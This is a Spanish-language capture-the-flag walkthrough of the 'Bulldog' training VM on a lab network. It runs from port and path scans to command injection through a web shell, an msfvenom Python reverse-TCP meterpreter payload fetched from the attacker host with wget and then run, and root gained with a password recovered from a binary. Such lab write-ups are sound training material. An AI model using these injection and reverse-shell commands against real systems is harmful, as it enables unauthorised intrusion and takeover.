Primer se hace un escaneo con nmap para descubrir los puertos abiertos como vector de ataque
─$ sudo nmap -sV -O 10.0.2.10
Starting Nmap 7.92 ( https://nmap.org ) at 2021-07-31 14:53 -05
Nmap scan report for 10.0.2.10
Host is up (0.00091s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Se encontraron 3 servicios, ssh en el puerto 23 y 2 servicios web en los puertos 80 y 8080 respectivamente.Ahora desde el navegador dar un vistazo lo que tiene los servicios web.
Siguiendo el flujo de la aplicación no se encontró algo que nos sirviera para acceder al servidor, así que a través de una herramienta de escaneo de paths en este caso nikto.
─$ nikto -h 10.0.2.10:8080
- Nikto
---------------------------------------------------------------------------
+ Target IP: 10.0.2.10
+ Target Hostname: 10.0.2.10
+ Target Port: 8080
+ Start Time: 2021-07-31 15:04:00 (GMT-5)
---------------------------------------------------------------------------
+ Server: WSGIServer/0.1 Python/2.7.12
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3092: /dev/: This might be interesting...
+ 7907 requests: 16 error(s) and 3 item(s) reported on remote host
+ End Time: 2021-07-31 15:04:41 (GMT-5) (41 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Se encontró una ruta interesante.
Tada!!, una interesante ruta dándonos a conocer sobre algunas cosas que nos podrían servir mas adelante. Al inspeccionar la pagina se encuentra esto.
Pasando estos hash's por una herramienta de identificación de hash's se obtuvo esto.
Ahora probando con ora herramienta de analizador de path, est utiliza un dicccionario de rutas para identificarlas se obtuvo unas rutas nuevas
└─$ dirb http://10.0.2.10:80
-----------------
DIRB
By The Dark Raver
-----------------
START_TIME: Sat Jul 31 15:41:12 2021
URL_BASE: http://10.0.2.10:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.0.2.10:80/ ----
==> DIRECTORY: http://10.0.2.10:80/admin/
==> DIRECTORY: http://10.0.2.10:80/dev/
+ http://10.0.2.10:80/robots.txt (CODE:200|SIZE:1071)
---- Entering directory: http://10.0.2.10:80/admin/ ----
==> DIRECTORY: http://10.0.2.10:80/admin/auth/
==> DIRECTORY: http://10.0.2.10:80/admin/login/
==> DIRECTORY: http://10.0.2.10:80/admin/logout/
---- Entering directory: http://10.0.2.10:80/dev/ ----
==> DIRECTORY: http://10.0.2.10:80/dev/shell/
---- Entering directory: http://10.0.2.10:80/admin/auth/ ----
==> DIRECTORY: http://10.0.2.10:80/admin/auth/group/
==> DIRECTORY: http://10.0.2.10:80/admin/auth/user/
Al iniciar sesión en la ruta login con el usuario nick y bulldog me llevo a esta sección.
Así que dando un vistazo a la ruta donde estaba la shell en la ruta dev.
Probando un poco los comandos que permite
Al utilizar pipe (|) es posible bypassear el acceso de otros comandos no permitidos.
Pues ahora se va a crear un payload con msfvenom
└─$ sudo msfvenom -p python/meterpreter/reverse_tcp lhost=10.0.2.15 lport=4567 > shell.py
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 493 bytes
Final size of python file: 2401 bytes
Despues vamos a metasploit para buscar el exploit que llevara el payload que acabamos de crear.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.2.15
lhost => 10.0.2.15
msf6 exploit(multi/handler) > set lport 4567
lport => 4567
msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
Para recapitular tengo un exploit escuchando en un puerto especifico, esperando que en el objetivo ejecute el script para tener una conexión en su maquina, aprovechando la web shell vulnerable que anteriormente habíamos encontrado, se va a cargar y ejecutar. Lo primero voy a crear un servicio web con un puerto por defecto donde se localiza el script malicioso.
─$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Ahora en la web shell vamos a pasar un comando permitido, pipe, la dirección del servicio web, pipe, comando para ejecutar el script malicioso.
pwd | wget http://10.0.2.15:8000/shell.py | python shell.py
Ahora tenemos acceso y se necesita una shell
meterpreter > shell
Process 1222 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off
Después a spawnear la terminal con python
$ python -c 'import pty; pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
bash: /root/.bashrc: Permission denied
django@bulldog:/home/django/bulldog$
Luego de explorar un poco los directorios se encuentra un directorio muy interesante llamado .hiddenadmindirectory. dentro hay una pista, una nota, que le escriben a nick sobre un prototipo de un aplicativa para asignar cuentas.
Curiosamente le hice un cat a la aplicación se encontró un texto muy llamativo
��H�SUPERultH�E�H�imatePASH�E�H�SWORDyouH�E�H�CANTgetH�E�H�U�
Al aplicar el comando strings al mismo archivo se encuentra una grandiosa pista
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"
Ahora se va probar si tengo obtengo usuario root con la cadena de arriba quizás tenga algún tipo de concatenante, con el comando sudo su, se obtuvo usuario root con la contraseña
SUPERultimatePASSWORDyouCANTget
Ahora se explora los directorios para encontrar la flag.
root@bulldog:/# cd root
cd root
root@bulldog:~# ls
ls
congrats.txt
root@bulldog:~# cat congrats.txt
cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?
Let me know what you thought on twitter, I'm @frichette_n
As far as I know there are two ways to get root. Can you find the other one?
Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
Muchas gracias a @frichette_n que nos brindo esta MV. Hasta la proxima.